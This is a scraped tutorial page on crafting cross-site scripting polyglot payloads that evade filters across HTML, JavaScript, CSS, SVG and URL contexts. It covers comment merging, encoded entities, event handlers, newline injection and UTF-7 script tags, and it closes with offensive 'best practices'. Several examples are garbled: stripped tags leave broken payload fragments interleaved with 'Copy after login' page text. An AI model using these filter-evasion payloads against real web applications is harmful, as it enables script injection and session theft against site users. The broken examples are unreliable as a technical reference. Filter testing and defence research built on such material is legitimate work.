Creating Powerful XSS Polyglots-JS Tutorial-php.cn

Polyglot payloads leverage multiple encoding, injection, and obfuscation techniques to bypass filters, confuse parsers, and trigger execution across different contexts like HTML, JavaScript, CSS, JSON, etc.

-Merging Comment Styles Polyglots often confuse parsers by merging different comment styles:

JavaScript: //, /* */ HTML:

/*--> --> Copy after login

-Using Encoded Entities Bypassing filters using HTML or URL encoding:

HTML: , " URL: %3C, %3E, %22 Copy after login

alert(1) Copy after login

-Multiple Language Contexts Polyglot payloads work across multiple languages like HTML, JavaScript, CSS.

"> Copy after login

-Breaking Out of Contexts Escape from current contexts like textarea, script, or style.

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-Abusing HTML5 Elements Using modern elements like , , or .

"> alert(1) Copy after login

-Contextual Event Handlers Inject event handlers into HTML tags like onload, onmouseover.

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-Combining HTML, JavaScript, and CSS Mixing contexts of HTML, CSS, and JavaScript.

alert(1) Copy after login

-Utilizing SVG and XML Features SVG allows injection via JavaScript URIs and other XML-based features.

Copy after login

Protocol Confusion (Data URLs, JavaScript URLs) Use javascript: or data: URLs for payload delivery.

Click me

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Breaking with Newline Characters Using newlines \n or carriage returns \r to bypass filters.

"onmouseover=\nalert(1)//" Copy after login

Polyglot Structures Payloads that work across multiple languages like CSS and JavaScript.

*/ alert(1) /* Copy after login

UTF-7 Encoding Using less common encodings like UTF-7.

+ADw-script+AD4-alert(1)+ADw-/script+AD4- Copy after login

Using HTML5 Injection Vectors Use modern HTML5 vectors like srcdoc, formaction, or sandbox.

alert(1) "> Copy after login

Multiple Closings & Layering Close different tags to break out of nested contexts.

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Best Practices for Polyglot Payloads Diversify Attack Vectors: Use multiple elements like , , . Encoding: Use HTML or URL encoding to bypass filters. Event Handlers: Combine with event handlers like onmouseover, onload. Context Escaping: Focus on breaking out of strings, attributes, or tags. Minimize Payload Length: Keep payloads short to bypass length restrictions. These techniques show how polyglot payloads can bypass modern filters by using multiple languages and contexts.